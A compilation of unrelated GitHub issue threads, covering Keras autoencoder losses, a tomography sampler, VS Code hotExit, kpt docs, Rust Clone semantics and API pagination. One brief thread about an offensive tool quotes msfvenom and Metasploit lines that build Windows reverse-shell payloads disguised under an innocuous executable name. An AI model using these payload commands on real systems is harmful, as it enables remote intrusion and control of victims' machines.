Questions about this convolutional autoencoder

Hi All,
I've been experimenting with autoencoders for reconstructing input images.  Had good success with MNIST digits.  Now wanting to try CIFAR10 images.
At the end of this message is the network I've coded up.
In this network below, I've experimented with:

number of filters (64, 32, 16, 8)
weight initialization for the Conv layers.
activation functions in the decoding layers.
overall depth of the network.
Sometimes I get nan's for loss.  More recently, this example below returns negative values for loss and has a great deal of trouble converging to anything (accuracies are only about 0.003! after 100 epochs and loss is large negative value).

Some other details:

Training set is only 100 images
Running on my Macbook pro (El Capitan)
Theano backend
Using cpu (not gpu)
Keras 1.0.3
Theano 0.8.2
.theanorc: [global] floatX=float64  (I've tried both float32 and float64)  device=cpu  optimizer=fast_run  (fast_compile tends to create NANs)  mode=FAST_RUN  exception_verbosity=high

Here is my fitting and the first 2 epochs:
autoencoder.fit(x_train, x_train, nb_epoch=2,  batch_size=20,
          shuffle=True, verbose=1, validation_data=(x_test, x_test))

Train on 100 samples, validate on 20 samples
Epoch 1/2
100/100 - 0s - loss: -10.1022 - acc: 0.0515 - val_loss: -49.2346 - val_acc: 0.0464
Epoch 2/2
100/100- 0s - loss: -67.9034 - acc: 0.0470 - val_loss: -111.7369 - val_acc: 0.0464

It basically moves very little from what you see above (even after a few hundred epochs).  Also, the negative loss values (based on log loss) trouble me since I believe the log loss value should always be > 0.
Visualizing what the network predicts shows blank images.
Here is the complete iPython notebook of my network:
CIFAR10.ipynb.zip

Input is not normalized

x_train = x_train.astype('float32') / 255.
x_test = x_test.astype('float32') / 255.

Activation

relu for decoder is ok for me. It's not necessary to do sigmoid in the intermediate layers.

Traing size

Larger training set and batch size will be better for learning.

Thanks Joel!  Works great now.
re Training size: I was using a very small set just to make sure the model was well behaved before scaling up.

hi,
please, I have a problem with shallow denoising autoencoder, the result is "nan". I check the dataset, it doesn't have "nan" values. I tried different activation function, it is still the same problem
this is my code
model %>%
layer_dense(units=15,activation="relu", input_shape=c(26))%>%
layer_dense(units=26)
model%>%compile(loss='mean_squared_error',optimizer="adam")
history<-model%>%fit(noisy.data, original.data,
epochs = 20,
batch_size = 100,
validation_split=0.1 )
and this is the result
Epoch 1/20
87317/87317 [==============================] - 4s 40us/step - loss: nan - val_loss: nan
anyone help me, please??


Just a quick question

Hi,
Awesome repo. What other payloads can be used with this.
I tried it out in my lab, it works with the python payload however I tried changing the listener as well as the msvenom payload to a windows stageless payload and it doesn't seem to work.
f.write("set PAYLOAD windows/meterpreter_reverse_tcp\n")
payload = "msfvenom -p windows/shell_reverse_tcp LHOST=" + lhost + " LPORT=80 -f exe > HappyPony.exe"

Only payload that works is http, when i developed this tool i tried many payloads, but you need to remember that connection is made through this protocol to .ws so you using a tcp payload or nc payload will not work


ELEC413 project2 v0 design

Design for project 2. (vbanh)

Please only commit the python design file, please.
My suggestion is you make a backup of the folder on your computer.  Then do a "Revert Changes ..." in GitHub, with the end result being only the layout file.
thank you


Stochastic sampling

Describe your changes
Added in a sampler class:

Input: list of integers {0, 1, …, S-1}, with each integer representing the index of a subset
Output:  A single next index from the {0,1,…,S-1} subset list. Different orders possible incl with and without replacement.
Output: The single index outputs can be organised into length-S lists. Each length-S list is called an epoch. The user can in principle ask for an infinite number of epochs to be run. Denote by E the number of epochs.
Each epoch always has a list of length S.  It may contain the same subset index s multiple times or not at all.
To be run again and again, depending on how many iterations/epochs the users asks for

The idea is that  for stochastic sampling we start with:

Data with P projections, indexed p = {0, 1, …, P-1}.
To be organised (partitioned) into S subsets (a partitioning), such that all projections are included exactly once and assigned to one subset, indexed s = {0, 1, …, S-1}. Subsets may or may not all have the same size. The size of a subset is the number of projections it contains. The sum of the sizes of all subsets should equal the total number of projections P.
Once data is partitioned, we need to choose the order for stepping through the subsets.

The sampler class does this order for stepping through the subsets.
In order to test the sampling class, I adapted the SPDHG algorithm to take a sampler, leaving the defaults as before.
Describe any testing you have performed
Please add any demo scripts to CIL-Demos/misc/
Test of the sampler https://github.com/TomographicImaging/CIL-Demos/blob/main/misc/testing_sampling.ipynb
Test with SPDHG https://github.com/TomographicImaging/CIL-Demos/blob/main/misc/testing_sampling_SPDHG.ipynb
Similar results gained for all samplers for SPDHG, with 10 subsets

With 80 subsets:

Link relevant issues
Part of the stochastic work plan.
Checklist when you are ready to request a review

[ X] I have performed a self-review of my code
[X ] I have added docstrings in line with the guidance in the developer guide
[x] I have implemented unit tests that cover any new or modified functionality
[ ] CHANGELOG.md has been updated with any functionality change
[X ] Request review from all relevant developers
[X ] Change pull request label to 'Waiting for review'

Contribution Notes
Please read and adhere to the developer guide and local patterns and conventions.

[ X] The content of this Pull Request (the Contribution) is intentionally submitted for inclusion in CIL (the Work) under the terms and conditions of the Apache-2.0 License.
[ X] I confirm that the contribution does not violate any intellectual property rights of third parties

For discussion with @epapoutsellis, @jakobsj  and @gfardell  on 17/08/2023.

Things that have been done:
Stochastic Sampler

Implemented different sampling methods that output from a set of integers according to the method selected when either next(sampler) or sampler.next() is called
The sampling class has a sampler.get_samples(n) method that outputs the first n samples. This does not effect/interrupt the behaviour of next
Unit tests for the sampler

SPDHG

Allow SPDHG to take a sampler class
Deprecate prob from SPDHG, taking the probabilities instead from the sampler class, choosing the default [1/num_subsets]*num_subsets if one is not provided in the sampler (e.g. in sequential sampling)
Created two setters for the step sizes. set_step_sizes_from_ratio resets the step sizes if the user provides one/both/none of gamma and rho. step_sizes_custom takes in one/both/none of sigma and tau allowing the user to use a custom sigma and tau with those not provided calculated from the defaults. Calculating sigma from tau probably needs checking with someone else.
Added a check_convergence function that checks self._sigma[i] * self._tau * self.norms[i]**2 <= self.prob_weights[i] for all i. This probably needs checking with someone else.
Deprecated the kwarg "norms" to replace with an optional argument "precalculated_norms" because I think this makes it clearer to the user what they are used for.

@paskino @gfardell - A question to start discussion on this pull request. Where should the sampler class be placed in CIL - currently it is sitting in the framework folder as a separate file. It could go in the framework file, with partitioner, or it could go in the optimisation folders?

It makes sense to me that this functionality goes in the optimisation module as it's there that it'll be most useful.

Thanks @paskino, have moved it to the algorithms folder

Many thanks @lauramurgatroyd for fixing the docs_build!

Updated to include just updates to SPDHG:

Allow SPDHG to take a sampler either from our sampler class or any class with a next(self) function
Deprecated prob from SPDHG, taking the probabilities instead from the sampler class or from a new argument prob_weights, choosing the default [1/num_subsets]*num_subsets if one is not provided in either place.
-Created two setters for the step sizes. set_step_sizes_from_ratio resets the step sizes if the user provides one/both/none of gamma and rho. step_sizes_custom takes in one/both/none of sigma and tau allowing the user to use a custom sigma and tau with those not provided calculated from the defaults. Calculating sigma from tau probably needs checking with someone else.
Added a check_convergence function that checks self._sigma[i] * self._tau * self.norms[i]**2 <= self.prob_weights[i] for all i. This probably needs checking with someone else.
-Deprecated the kwarg "norms" to be replaced by the set_norms method in BlockOperator: added a function to return a list of norms and the ability to set this list of norms  #1513.
-Unit tests for SPDHG setters and convergence check
-Speed up of current SPDHG unit tests.

Replaced by #1644 and #1643


[LLCView] Models should be part of default view, not documentation

When we did the first archboard using this view, people wanted to comment on the models, and this is not possible if they are part of the "documentation"
This issue is about moving the "models" out of "documentation" into the default view.

Can you please give an example or screenshot of an example? A link to any existing review and expected section will be helpful to check this further.

Closing this issue since we are not moving ahead with LLC.


Missing krew install krew

I believe this is missing the krew install krew step of the official install.
It is not immediately avaiable as a kubectl plugin without running this command.

I had the same issue on my side. Thank you @ghostsquad !


Rule <IP_ADDRESS> (L1) Ensure 'Turn off multicast name resolution' is set to 'Enabled'

Describe the Issue
If manually set using GPEDIT correct value is 0
Expected Behavior
value set to 0
Actual Behavior
value set to 1
Control(s) Affected
"<IP_ADDRESS> | PATCH | Ensure Turn off multicast name resolution is set to Enabled MS Only | Member Server"
Environment (please complete the following information):

branch being used: [devel]

Possible Solution
- name: "<IP_ADDRESS> | PATCH | Ensure Turn off multicast name resolution is set to Enabled MS Only | Member Server"
ansible.windows.win_regedit:
path: HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient
name: EnableMulticast
data: 0
type: dword
when:
- win19cis_rule_18_6_4_2
- win2019cis_is_domain_member
tags:
- level1-domaincontroller
- level1-memberserver
- rule_<IP_ADDRESS>
- patch
- dns

Good catch @animatco  !!
https://admx.help/?Category=Windows_11_2022&Policy=Microsoft.Policies.DNSClient::Turn_Off_Multicast
Thank you!
CC: @MrSteve81

Fix merged in #95


hotExit (potentially) looses file contents for virtual file systems

Does this issue occur when all extensions are disabled?: Yes/No

VS Code Version: 1.84.1
OS Version: Windows 11

Steps to Reproduce:

Make sure hotExit feature is enabled
Open a file on a virtual file system
Edit the file
Do not save the file
Exit VS Code
Re-open VS Code
See an tab that reports:

The editor could not be opened due to an unexpected error: Unable to resolve resource vfs uri...

Now unless the extension that registered the VFS knows how to create that specific connection, that state is lost. And since VFS are used for all kinds of non-transient ways, I think the hotExit feature should be disabled for files on a VFS.

The backups for hot exit are not stored on the target workspace but in the local user directory. Is that one also on the VFS?

It's not persee about the backups, it's more of a point that after restarting VS Code, it might not be possible to reconstruct the same exact URI.
Context: for a customer we've made a VFS (using vscode.workspace.registerFileSystemProvider) that connects to a local running application (lets call it LegacyCode) that contains some code we want to expose in VS Code (there can be multiple instances of LegacyCode, so the URI contains some kind of session identifier). If LegacyCode is closed, all the open file changes are discarded (which the user in LegacyCode is warned about, to ask them to please trigger a save in VS Code). So this works fine, if VS Code is running while the LegacyCode is terminated.
If however a user closes VS Code, hotExit (an application wide setting that is on by default) nicely backups the open changes, and assumes next time it starts, the uri will be valid and can be continued. If between closing and reopening of VS Code the LegacyCode app is terminated, our extension has no way way to recreate such a URI.
This lead me to believe that this is a more generic problem, as the registerFileSystemProvider can cook up all kinds of virtual file systems, that don't have to be as extreme as a the SSH remote work space and friends. But it's cross sessions consistency is often not easy or possible to get right.

We rely on file system providers working when we ask them to, so I am not sure what VS Code can do here any better. The backup should not be discarded until the editor can be opened though. Is it eventually recovering when the editor can open?

I get where you are coming from, but that's not something that a file system provider can guarantee right? The documentation uses ftp as an example.  But at the time it's reloaded, the FTP server might be down.

Is it eventually recovering when the editor can open?
yes, for the cases where the extension can reconnect to the external LegacyCode application, it recovers nicely. But my point is that our virtual file system is a bit more transient, sometimes there is no way it can ever recover a certain uri.

Should maybe this be a thing you can remark about your FileSystemProvider? just like a terminal can be marked as transient? We already have properties like readonly and case sensitive, but maybe that it's a transient one? Or extend the documentation on the assumptions of the file system provider?

I wonder if a better approach would be to allow the user to literally open the backup contents raw in the editor. We have some precedent with notebooks where the issue is very similar: if you uninstall the extension of the notebook while having backups around, you would not be able to see the backups because we cannot open them.
Are you able to come up with a minimal extension sample to reproduce this?

if you want, I could make a repo case indeed. roughly changing the in memory one from the example repo and adding a random number in the authority path.

aaah, hotExit also doesn't work for normal files when running 2nd level. I have to build an vsix to test this I guess.

@DavyLandman yeah its disabled in extension development environments

sorry @bpasero I just deleted those comments, I realized that.

Hi @bpasero I've been doing quite some testing to make a good repo case and here is what I learned:

hotExit works quite well, and indeed, when the uri is not valid anymore, it still will show the contents of the file. So that "still view the contents in case of a failure" is already there.
When you try to save a file thats not there, then you get an error message: cannot save this file, but that's fine, you still have the contents
if however the extension is uninstalled (or in some other way the filesystem is not registered) then you get this screen of the original issue. Then there is no recovery possible of that content.

So I think most of the stuff is already there, and my reporting was a bit messy, sorry about that. In the process of trying to make a test case, I managed to identify a subtle bug in our vfs, that amplified this problem a bit.
If you want, I'll make an new issue to tackle the case for the uninstalled extension/not activated extenion/not registerered scheme?

Thanks for the response, we can use this issue still.


Added links

Added "Download page" to the "More Information" section and improved the license text section.

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

Hi @michaelrappaz, thank you for the PR! Unfortunately, your branch has some merge conflicts that are difficult to resolve. The painless way to fix this is to create a fresh PR.
So I'm going to close your PR now and looking forward to your new one. I'm so sorry about the inconvenience.


Update phase of current task in workflow controller "manually" to avoid workflow-controller/pod-deleted race condition

Discussed in https://github.com/argoproj/argo-workflows/discussions/8957

Originally posted by clementemmanuel June 13, 2022
I don't use argo directly but instead transitively via kubeflow.
When running under load a lot of tasks are (erroneously) marked in an error state Error pod deleted
I'm running a large amount workflows in parallel, these individual workflows are themselves large, these are all batch processes that are instigated and then run to completion.
Rough numbers are something like thousands of pods running in parallel.
A lot of these pods are long-lived (~15 minutes), and I seem to be running up against a race condition between when the workflow controller attempts to update the state of a task/pod, and the GKE processes that delete the pod on completion.
I can see that the main container of our tasks run to completion succesfully, and I believe the argo wait container also completes.
When a pod completes succesfully, the pod is marked for deletion, occasionally however the workflow controller is unable to query the state of the associated pod fast enough, it will see that the pod was deleted and mark the phase as error, meaning we're unable to continue to any dependent tasks and the whole workflow is errored.
This only occurs when running under load, and I assume it's some combination of GKE needing to be more aggressive with deleting successful pods, and the workflow controller being slower needing to update more tasks.
The long-term solution would be for the workflow-controller to more appropriately manage the shutdown of a pod, claiming a finalizer that is appropriately applied and cleaned up, I believe this is being suggested here https://github.com/argoproj/argo-workflows/issues/8783
I also believe this is the same issue being seen in the following

https://github.com/argoproj/argo-workflows/issues/7466
https://github.com/argoproj/argo-workflows/issues/7994

I am trying to think of workarounds, but I can't seem to find any documentation going over how the workflow-controller pod in a cluster actually determines the phase of the tasks. I've tried manually patching running pods with workflows.argoproj.io/completed: "true", but this just confuses the workflow controller which immediately updates the phase of the task from running -> error with pod deleted.
I am wondering what viable workarounds there would be, I'm trying to understand how I can eagerly report the phase of the task (i.e. from my main container, before exiting) to the workflow controller to avoid this race condition all-together.
Is something like this possible? Is there an alternative workaround that would work?

@terrytangyuan is the issue or discussion preferred? Fundamentally this is an issue with argo's workflow controller


fn doc output and documentation

It's not documented in kpt.dev
Output includes usage

$ kpt fn doc --image gcr.io/kpt-fn/kubeval:v0.1
usage: FUNC [-h] [-i INPUT] [-o OUTPUT] [-f FUNCTION_CONFIG]
            [-d [FUNCTION_CONFIG_LITERAL [FUNCTION_CONFIG_LITERAL ...]]]
            [--json] [--log-to-stderr]

Validates configuration using kubeval.

If neither schema_location nor additional_schema_locations is provided, we
will use the baked-in schemas. Otherwise, we will try to download the schemas.

Configured using a ConfigMap with the following keys, all of which are optional:
schema_location: The base URL used to download schemas.
additional_schema_locations: List of secondary base URLs used to download
  schemas.  These URLs will be used if the URL specified by schema_location
  did not have the required schema.  By default, there are no secondary URLs,
  and only the primary base URL will be used.
ignore_missing_schemas: Skip validation for resource definitions without a
  schema.  If omitted, a default value of false will be assumed.
skip_kinds: Comma-separated list of case-sensitive kinds to skip when
  validating against schemas.  If omitted, no kinds will be skipped.
strict: Disallow additional properties not in schema.  If omitted, a default
  value of false will be assumed.

Example invocations:

  1. Using regular files for input and output:

    $ FUNC -i in.yaml -o out.yaml

  2. Print output to stdout:

    $ FUNC -i in.yaml

  3. Using redirection:

    $ FUNC < in.yaml > out.yaml

  4. Using pipes:

    $ cat in.yaml | FUNC | cat

  5. Using /dev/null for source/sink functions:

    $ FUNC -i /dev/null -o /dev/null

  6. Specifying 'functionConfig' as a separate file:

    $ cat in.yaml | FUNC -f fc.yaml

    If the input contains 'functionConfig' field, it will be ignored.

  7. Specifying 'functionConfig' using key/value literals:

    $ cat in.yaml | FUNC -d key1=value1 -d key2=value2

    This is a convenient way to populate the functionConfig if it's a ConfigMap.

Optional arguments:
  -h, --help            Show this help message and exit.
  -i INPUT, --input INPUT
                        Path to the input file (if not reading from stdin)
  -o OUTPUT, --output OUTPUT
                        Path to the output file (if not writing to stdout)
  -f FUNCTION_CONFIG, --function-config FUNCTION_CONFIG
                        Path to the function configuration file. If specified, ignores "functionConfig" field in the input
  -d [FUNCTION_CONFIG_LITERAL [FUNCTION_CONFIG_LITERAL ...]], --function-config-literal [FUNCTION_CONFIG_LITERAL [FUNCTION_CONFIG_LITERAL ...]]
                        Specify a key and literal value (i.e. mykey=somevalue) to populate a ConfigMap instead of
                        specifying a file using --function-config.
                        Use this ONLY if the function accepts a ConfigMap.
  --json                Input and output files are in JSON instead of YAML
  --log-to-stderr       Emit structured results to stderr in addition to setting".results" field in stdout
Remember, everything here is CONFIDENTIAL unless specifically stated otherwise.

© 2020 Google LLC. All Rights Reserved.

@frankfarzan @droot We should also have a way to list the available functions
$ kpt fn doc
Here are the list of available kpt functions
gcr.io/kpt-fn/apply-setters:v0.1
gcr.io/kpt-fn/apply-setters:v0.2
gcr.io/kpt-fn/set-namespace:v0.1
...

$ kpt fn doc --image gcr.io/kpt-fn/apply-setters:v0.1
Display the usage documentation(similar to the one in issue description.)

cc @bgrant0607

+1 to listing available functions for each registered catalog (I assume multiple catalogs will happen as soon as others start to write functions).
Being able to filter according to relevant functions would be awesome, too.
As we move functionality out of inline parameters and template code into functions, users need to be able to discover applicable functions they could use on a given package containing a particular set of resource types. For instance, if there were a function to set Gatekeeper (https://open-policy-agent.github.io/gatekeeper/website/docs/violations/#dry-run-enforcement-action) constraint common attributes such as enforcementAction, excludedNamespaces, etc., we would like to recommend it for a package containing pod security constraints (https://github.com/open-policy-agent/gatekeeper-library/tree/master/library/pod-security-policy).

+1 to highlighting relevant functions. For example, a set-project function should be highlighted when interacting with a KCC package but is useless otherwise.

I suggest filing a separate issue for function discovery. This issue is specifically about the doc command that shows the help message for a given function which is orthogonal to this.

Filed https://github.com/GoogleContainerTools/kpt/issues/2333 to track function discovery


[Firefox] Update 102 ESR

Remove Firefox 101 and add Firefox 102 ESR https://www.mozilla.org/en-US/firefox/102.0/releasenotes/

add Firefox 102 ESR

Also there are two pages for the 102.0 version (or there are multiple 102.0 versions?) - the one currently used does not have any mention of it being an ESR version:

https://www.mozilla.org/firefox/102.0/releasenotes/

and this one clearly states ESR, but it's called 102.0esr:

https://www.mozilla.org/firefox/102.0esr/releasenotes/

So probably we shouldn't mix these together.

Also there are two pages for the 102.0 version (or there are multiple 102.0 versions?) - the one currently used does not have any mention of it being an ESR version:

it does have a notice that 102 is the new EST. In the section Enterprise: „Firefox 102 is the new Extended Support Release (ESR). Firefox 91 ESR goes out of support on September 20, 2022.“

So probably we shouldn't mix these together.

I agree, having two items in the table (102, 102 (esr)) will clarify the matter. LMFTFY


Skins not loading

Pretty much title, skins do not load on either of my private servers, but joining test.geysermc.org with the same account shows my skin I have selected. Assuming this means Floodgate-Fabric needs an update that the master builds have, since this branch hasn't been updated in uh, 2 weeks give or take some days.

Still having this issue? Both Geyser-Fabric and Floodgate-Fabric receives update when https://github.com/GeyserMC/Geyser and https://github.com/GeyserMC/Floodgate update (respectively).

Still having this issue? Both Geyser-Fabric and Floodgate-Fabric receives update when https://github.com/GeyserMC/Geyser and https://github.com/GeyserMC/Floodgate update (respectively).

I can confirm the issue.

Having the same issue too, previously skins would upload but then reset to steve/alex after the player left or the server restarted, now they dont seem to upload at all

Yeah I was testing that the other day.
I even had my friend use a skin from Skindex so it'd be compatible with Java Edition. It didn't throw the error saying that the skin was incompatible, but it never actually showed the skin either.
I think the queue is out of the question, because it's been over 24 hours and he's still an Alex.

I haven't tested the mainline Bukkit/Spigot version, but I kind of need Fabric. (Things like Mo' Structures, Giant AI, Expanded Axe Enchanting, Modern Beta, Mobs Attempt Parkour,Suitably Stackable Stew, Villagers Follow Emeralds, Powershot, and Carpet Mod seem to work with Geyser just fine, and I've been having plenty of fun setting that up.)
Sorry if this is off-topic, but thank you for allowing me to play with these mods with my Bedrock-using friends. :3

Yeah I was testing that the other day.
I even had my friend use a skin from Skindex so it'd be compatible with Java Edition. It didn't throw the error saying that the skin was incompatible, but it never actually showed the skin either.
I think the queue is out of the question, because it's been over 24 hours and he's still an Alex.

The queue was at a few weeks yesterday, seems like it was restarted as it's at 1 day currently

Is it really that long? O_O

lol yeah we've seen it go up to like 2 weeks.  It's currently at 1 day and 4 hours. You can check by joining our Discord and running /queue in #bot-spam.

I'll have to clear a slot then.
(I have a few alts anyway, I'll just move a server I'm not active in to one of them.)

With this being over a year old and the skin queue being empty nearly all the time, I'm going to close this. Open a new issue if you encounter any floodgate specific issues with skins.


Use prettier config for formatting rules

Hi.
It would be awesome if a project's prettier config would override defaults. Right now my vim, on leaving insert mode, will format import {X} from 'y'; and I have configured prettier (if I run it from cli/package.json) to use import { X } from 'y';.

Never mind, it does exactly what it should.


Implement sidenotes

Describe the enhancement you'd like
Tufte CSS recommends (see "Sidenotes: Footnotes and Marginal Notes") numbered sidenotes instead of footnotes.
Does this solve a specific problem?
The current workflow in sphinx-book-theme for checking a footnote is:

Click on the footnote link
Reorient yourself on the page
Figure out that you have to click again to get back

Sidenotes avoid these steps.
What alternatives exist?
The closest alternative in sphinx-book-theme is margin notes, but it isn't quite the same due to the lack of references.
Additional context
No response

Definitely agree with this idea - it's just waiting for a champion to pick it up and try implementing. If we implement it in this theme, I think it'd be good to also think about generalizing to a standalone package (e.g. sphinx-margin) that could define these directives.
Gonna close this one though, as I think it's a dupe of https://github.com/executablebooks/jupyter-book/issues/598


parse github.io links automatically to the repo?

URLs like http://simvascular.github.io/ could be automatically mapped to https://github.com/simvascular
(Sorry, this isn't returning at all at the moment, so perhaps that is already being done?)

fixed!  :)  http://citeas.org/cite/http://simvascular.github.io/


Make cloned values indistinguishable

Currently, clone explicitly doesn't guarantee that the following are always indistinguishable:
let a = f();
let b = g();
let c = b.clone();
h(a, b);

let a = f();
let b = g();
let c = b.clone();
h(a, c);

This is unfortunate. However, the trait does say that Clone::clone() "Returns a copy of the value." which could imply indistinguishably (i.e., a copy of a value is indistinguishable from the original). It would be nice to make this explicit (so that, e.g., a == b implies a == b.clone()).
/cc #1203

That's because it does not. For example, it is totally fine to put an interior address into some data structure.

That's because it does not. For example, it is totally fine to put an interior address into some data structure.

Yes but it shouldn't be exposed. That's why I said indistinguishable, not identical. That is, if I flip a fair coin and give you either a or a.clone(), you shouldn't be able to guess which one I gave you (ignoring timing, power, unsafe, etc.).

cc #1521

in case of Rc, equality stands, because it is forwarded to the inner type, but cloning is exposed, because try_unwrap will fail after a clone.
So you can only guarantee that it's not exposed which one is the original and which one is the clone, but only if you always clone before you try to figure out if a value is a clone.

@oli-obk that's why I did it that way in the example (I wasn't thinking about Rc but Clone side effects in general). However, I somehow didn't notice that this would make this restriction useless in solving the linked issue. Regardless, I still think a restriction like this would be useful.

It's very hard to enforce this rule. You'd need to ensure that clone doesn't modify any fields that are accessible outside the module. I'll evaluate if it's possible to write a lint for that.

@oli-obk, I don't think @Stebalien propose to enforce it, but rather add a "rule", like the hash rule:

If you are also implementing Eq, there is an additional property that is important:

k1 == k2 -> hash(k1) == hash(k2)

In other words, if two keys are equal, their hashes should also be equal. HashMap and HashSet both rely on this behavior.

@oli-obk exactly what @Ticki said. Basically, precisely define that "returns a copy" means that, after cloning, the clone and the original are indistinguishable (for some reasonable definition of indistinguishable that doesn't involve the physical world).

I think a rule like:
a == b → a == b.clone()

@Ticki in other words, tying Clone to PartialEq?

@Ticki that would also be nice but is slightly different and neither implies nor is implied by my rule. However, it would solve #1203 because a == b.clone() → hash(a) == hash(b.clone()) which means that hash(b) == hash(b.clone()).

@Stebalien what is your rule? The "reasonable definition of indistinguishable" needs to be decided.

@durka My original thinking was "indistinguishable using the provided API". That is, you can't time things, read raw memory, use unsafe shenanigans, etc. However, you'd also have to ban looking at locations of objects in memory (casting pointers to ints) so I'm no longer sure this proposal is workable.

They aren't indistiguishable in the current API. See Rc for example.

@Ticki see https://github.com/rust-lang/rfcs/issues/1544#issuecomment-197623596. That's why my rule doesn't imply your rule.

Vec, String, VecDeque are examples of collections that are distinguishable after cloning (the new clone picks a capacity that fits exactly). A HashMap interestingly enough seems to have identical clones.
Using this rule can only increase the cost of cloning a Vec.

I think a == b → a == b.clone() is a reasonable way to define making a copy of a value.

I cannot think of any counter-examples to a == b → a == b.clone().

Why not just a == a.clone()...?

@glaebhoerl, I guess you mean ∀x.x=clone(x).

Stepanov (the C++ STL author) used several concepts to describe types which are "well-behaved" and can be reasoned about, when used in algorithms and collections. His terminology is also adopted for the current C++ concepts proposals.
a == a.clone() in particular looks like a part of the Regular concept.
Links:
http://www.amazon.com/Elements-Programming-Alexander-A-Stepanov/dp/032163537X
http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2012/n3351.pdf

I don't think clone should be special, we just need to come up with some form of saying in the docs "all the code can assume that implementations of a trait Tr behave as recommend in the docs of the trait Tr, unless memory safety is at stake".
It would cover a == a.clone(), clone for T: Copy vs memcmp, a == b vs !(a != b), and everything else.

Why not just a == a.clone()...?

f32 satisfy a == b → a == b.clone(), but not a == a.clone() :P

I should have guessed.


Add pagination support for TO API endpoints that use BuildWhereAndOrderBy

Currently uses limit and offset query parameters, but page might also be a good option

What does this PR (Pull Request) do?

[x] This PR fixes #1913

Which Traffic Control components are affected by this PR?

Traffic Ops

What is the best way to verify this PR?

Build TO Golang, start Traffic Ops, make a few queries to endpoints that use BuildWhereAndOrderBy to make sure that the limit and offset parameters are working properly
The following criteria are ALL met by this PR

[ ] This PR includes tests OR I have explained why tests are unnecessary
[ ] This PR includes documentation OR I have explained why documentation is unnecessary
[ ] This PR includes an update to CHANGELOG.md OR such an update is not necessary
[x] This PR includes any and all required license headers
[x] This PR ensures that database migration sequence is correct OR this PR does not include a database migration
[x] This PR DOES NOT FIX A SERIOUS SECURITY VULNERABILITY (see the Apache Software Foundation's security guidelines for details)

Can one of the admins verify this patch?

this will also require an addition to the changelog.md file

also, looks like this PR adds 2 things: pagination and sortBy? can you update the title and description of the PR to reflect that?

Oops, the sortOrder part wasn't supposed to be included here. Also, the new query parameters affect all the same endpoints as PR 3682, so since these each involve changing the same tables in the docs I was thinking I'd just make a separate PR for all of the documentation

I, personally, am against merging new features without documentation. Especially because of how we do releases. For example, suppose this PR gets cherry-picked into a release. Now, if the docs get pulled in as well, they will be wrong because PR 3682 wasn't also cherry-picked. And that's if someone remembers to cherry-pick the docs at all.

IMO documentation-only PRs are the way to go. Separate "components" should be in separate PRs, and I consider documentation to be a separate component. Different reviewers have different areas of expertise, and it slows us down to have one reviewer reviewing only the TP changes, one reviewing only the TO changes, and one only reviewing docs changes. In order for that PR to merge it would need separate approval from all three reviewers, instead of just being able to merge individual components by the reviewers that have expertise in that area.
This also helps individual components remain backwards-compatible. I.e. you should generally be able to merge TR changes before corresponding TO changes because TR should always be backwards-compatible w/ older versions of the CRConfig. You don't necessarily have to have TO and TR changes in the same PR.
That said, the new features should still be documented regardless; I'm just saying I think it's easier when separate things are done in separate PRs.

I disagree. The documentation is not a separate component, it is integral to all components. If I hand someone Traffic Ops, they are utterly unable to use it without the documentation. Similarly, if you add a feature and don't document it, then you've essentially done nothing to the eyes of the rest of the world.
I honestly don't think it takes much expertise to review docs changes, if you check that they follow the documentation guidelines, and can run pkg docs and read the output to make sure it all makes sense, then you're done. If something doesn't come out right, or if the compiler throws a warning/error, that's all you gotta say. You don't need to know why - that's the writer's problem :P.
If writing/reviewing the documentation really is "expert" level, then something is seriously wrong with our documentation. It's my personal opinion that reST isn't terribly difficult, but many complaints I hear are about it being obscure or arcane - and I think that's because, to be fair, that format itself doesn't come with much of a guide. It probably wouldn't take too long for me to write up an example that showcases everything a prospective writer would need to use, if that would be helpful?

 That's not what I said. It's not about the level of expertise required to review docs; it's about keeping separate things separate. Focused and concise PRs are much easier to review and merge, and requiring the documentation and code to be in the same PR just slows down the process.

How about if the description of the PRs that required the separate documentation indicated that they required that documentation PR to be put into a release so that the cherry pick mishap would be much less likely to happen?

PRs referencing other related PRs (e.g. a PR with the TO changes referencing its corresponding PR with docs changes) is encouraged. I think the backport case is rare because new features should never be backported (only bug fixes) unless there is very good reason to, but if the new feature did require backporting, we would be able to see that the desired PR also referenced its corresponding docs PR.
There can also be varying degrees of documentation for any given feature. Some things should be documented before coding even begins (e.g. the RFE). Once a very high-level, basic RFE has been documented, it might make sense to get started on a blueprint that the developer will use to explain the new feature's implementation. That should be mostly done before coding begins, but the blueprint may change once the developer has started the implementation and has found a better way, so they may have to update the blueprint along the way. The user-facing documentation should be developed last IMO, after the code is complete and using the blueprint as a reference, because if you write documentation first, you will have to constantly change the documentation as well as the code while working on the new feature. Sometimes you could make a change to the code but forget to also update the docs. Then we end up with incorrect documentation which can sometimes be worse than no documentation. If we wait until the code is complete before starting the user-facing documentation, you should only have to write them once and not worry about details changing in parallel with the code.

My biggest concern with merging code without docs, and I suspect @ocket8888 's as well, is that it never gets done. But I see @rawlinp 's point as well, about docs being outdated before we even release.
If we merge code without docs, IMO it should be a requirement before merging that a Github Issue be created for making those docs, and put in the milestone of the next release, to be sure don't release without adding them.
In fact, I'd propose adding it to the PR template, "This PR includes documentation OR I have explained why documentation is unnecessary OR I have created a Github Issue for the documentation and worked with a Committer to place it in the next Milestone."
How does that sound?

I also like @alexluckerman's suggestion of finding a way to associate them, to ensure they're cherry-picked together. But that's much harder. Linking the PRs is good, but often cherry-pickers only see git, and don't even look at Github. But putting it in the changeset message is hard. I'm not sure what the best solution is. Anyone have any better ideas?
That said, it's not my biggest concern, as  @rawlinp said, feature backports should be very rare.

This PR includes documentation
OR I have explained why documentation is unnecessary
OR I have created a Github Issue for the documentation and worked with a Committer to place it in the > next Milestone.

This would be fine with me, but I think it's something that should be brought to the mailing list's attention, since it has the potential to annoy a lot of people.

"You are disagreeing as if I had said nothing needs documented. That's not what I said. It's not about the level of expertise required to review docs; it's about keeping separate things separate."

No, that's what I mean, the docs and the code aren't separate, and you're not actually done until they're both in there. Separating them is taking a feature and cutting it in half, which will lead to what we had in v3.0 where the docs lie to you because things were included without documentation. That makes the end result unusable by anyone except the person who wrote the code.

